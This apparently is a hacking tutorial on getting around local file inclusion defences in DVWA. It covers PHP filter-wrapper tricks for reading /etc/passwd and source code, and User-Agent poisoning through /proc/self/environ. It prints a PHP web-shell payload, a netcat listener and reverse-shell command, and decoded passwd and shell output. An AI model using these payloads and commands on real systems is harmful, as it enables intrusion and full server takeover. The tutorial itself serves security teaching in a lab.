One of the most common web application vulnerabilities is LFI, which allows unauthorized access to sensitive files on the server. Such a common weakness is often safeguarded against, and low-hanging fruit can be defended quite easily. But there are always creative ways to get around these defenses, and we'll be looking at two methods to beat the system and successfully pull off LFI.
LFI (local file inclusion) is a technique that allows an attacker to access files on the system that they otherwise wouldn't be able to view. It's usually done via a vulnerable web app, where files outside of the web document root are accessed using various methods.
In all but the most poorly written web apps, LFI usually isn't as easy as merely requesting the desired file. But there are techniques to get around these restrictions, such as using the PHP filter method and the /proc/self/environ method. To test these out, we'll be using DVWA (Damn Vulnerable Web Application) as the target and Kali Linux as the attacking machine.
To start, log into DVWA with the default credentials, which are admin and password.
Next, go to the "DVWA Security" page. Set the security level to "low" from the drop-down and hit "Submit."
Finally, navigate to the "File Inclusion" page, which is vulnerable to LFI.
The most basic type of LFI is the dot-dot-slash technique, in which the vulnerable parameter is replaced with dots and slashes (to climb the directories) to reach the desired target file. Below, we can see a typical LFI accessing the /etc/passwd file.
In most cases, we don't get that lucky, and there are safeguards in place to prevent this type of attack. But often we can bypass those restrictions with some clever use of PHP's filter wrapper.
PHP has a number of wrappers that allow access to input and output streams, and they are used to manipulate data being read or written. One of these wrappers is the filter wrapper, which is used to allow PHP's filter functions access to a stream once it is opened.
One of the parameter options of the filter wrapper is the ability to encode a resource in base64. We can use this to our advantage to view files that are being blocked in more restricted environments. For instance, to view the /etc/passwd file, place this code in the page parameter:
When we load the page, we see a long string of base64 encoded data.
All we have to do now is decode it to view the contents. We can either use an online base64 decoder or simply echo the string in the terminal and pipe it through base64, using the -d flag to decode.
And now we can see the contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false
The filter wrapper also contains a ROT13 cipher function, which will rotate each letter thirteen places. We can also use this to beat certain restrictions and view files. Here is the code:
When the page loads, we can see what appears to be a jumbled mess at the top.
Copy this data and enter it into a ROT13 decoder to get the contents of our file.
The filter wrapper can sometimes be used as a bypass just by simply specifying the resource we want without any encoding at all. Like so:
That can still give us the contents of /etc/passwd.
This wrapper is not only useful for viewing system files, but it can be used to read the source code of PHP files. For example, we can view the source code of include.php with the following line:
Again, this will give us a base64 encoded string.
And we can decode it using the same process we did earlier.
~# echo PD9waHANCg0KJHBhZ2VbICdib2R5JyBdIC49ICINCjxkaXYgY2xhc3M9XCJib2R5X3BhZGRlZFwiPg0KCTxoMT5WdWxuZXJhYmlsaXR5OiBGaWxlIEluY2x1c2lvbjwvaDE+DQoNCgk8ZGl2IGNsYXNzPVwidnVsbmVyYWJsZV9jb2RlX2FyZWFcIj4NCg0KCQlUbyBpbmNsdWRlIGEgZmlsZSBlZGl0IHRoZSA/cGFnZT1pbmRleC5waHAgaW4gdGhlIFVSTCB0byBkZXRlcm1pbmUgd2hpY2ggZmlsZSBpcyBpbmNsdWRlZC4NCg0KCTwvZGl2Pg0KDQoJPGgyPk1vcmUgaW5mbzwvaDI+DQoJPHVsPg0KCQk8bGk+Ii5kdndhRXh0ZXJuYWxMaW5rVXJsR2V0KCAnaHR0cDovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9SZW1vdGVfRmlsZV9JbmNsdXNpb24nKS4iPC9saT4NCgkJPGxpPiIuZHZ3YUV4dGVybmFsTGlua1VybEdldCggJ2h0dHA6Ly93d3cub3dhc3Aub3JnL2luZGV4LnBocC9Ub3BfMTBfMjAwNy1BMycpLiI8L2xpPg0KCTwvdWw+DQo8L2Rpdj4NCiI7DQoNCj8+DQo= | base64 -d
Now we can view the source code of the page in plain text:
<?php $page[ 'body' ] .= " <div class=\"body_padded\"> <h1>Vulnerability: File Inclusion</h1> <div class=\"vulnerable_code_area\"> To include a file edit the ?page=index.php in the URL to determine which file is included. </div> <h2>More info</h2> <ul> <li>".dvwaExternalLinkUrlGet( 'http://en.wikipedia.org/wiki/Remote_File_Inclusion')."</li> <li>".dvwaExternalLinkUrlGet( 'http://www.owasp.org/index.php/Top_10_2007-A3')."</li> </ul> </div> "; ?>
This method is especially useful if there is some function on the page that could potentially be abused for shell access or privilege escalation.
Another LFI technique that can be utilized in more restricted environments involves the /proc/self/environ file on Linux systems. The file contains environmental variables, and if we can access it as a non-root user (like www-data usually found on web servers), we can use it to get a shell.
First, see if we can access it by including it as the page parameter.
We see some information about the environment displayed on the page.
The easiest way to do that is to use a proxy like Burp Suite. Fire up Burp, make sure "Intercept is on," and load the page with the /proc/self/environ inclusion just like before. We should see the request in Burp as such:
There are two things we need to modify here. First, put this PHP code in the User-Agent field.
<?php system($_GET["cmd"]); ?>
That will call the system on the server and execute whatever command we pass to the "cmd" parameter. Next, append the desired command to the page parameter, like so:
The final request should look like this:
We will first test for command execution with a simple id command, instead of jumping straight to a shell. Forward the request, and we should see the contents displayed at the top of the page just like before, but now the results of our command are shown in the user agent field.
We have command execution! Now the next step is to get a reverse shell. Start a listener on our local machine to catch the incoming connection.
~# nc -lvp 9988 listening on [any] 9988 ...
We will use the standard Netcat reverse shell method here. Reload the page and append the following command (using your own IP address and desired port) to the request, replacing the id command from earlier.
~# nc 10.10.0.1 9988 -e /bin/bash
That will connect to our listener and spawn a shell on our machine. Make sure to URL encode the command so the spaces play nice and it runs properly. Highlight it, and press Control U to do so. The request should look like this:
Once the page loads, our command gets executed, and we should see a connection open up on our machine. We now have a shell on the target and can issue commands like id and uname -a to verify.
10.10.0.50: inverse host lookup failed: Unknown host connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 59327 ~# id uid=33(www-data) gid=33(www-data) groups=33(www-data) ~# uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
From here, it is only a matter of privilege escalation, and we would wholly own the system, all from a file inclusion vulnerability.
Today, we learned about local file inclusion, how it could be used to access system files, and advanced techniques to use in locked-down environments. First, we looked at PHP's filter wrapper and how it can be utilized to encode and read files and source code. We then explored /proc/self/environ LFI and how it can be leveraged to get a shell on the target. These just go to show that sometimes even a vulnerability as (seemingly) simple as LFI can lead to complete system takeover.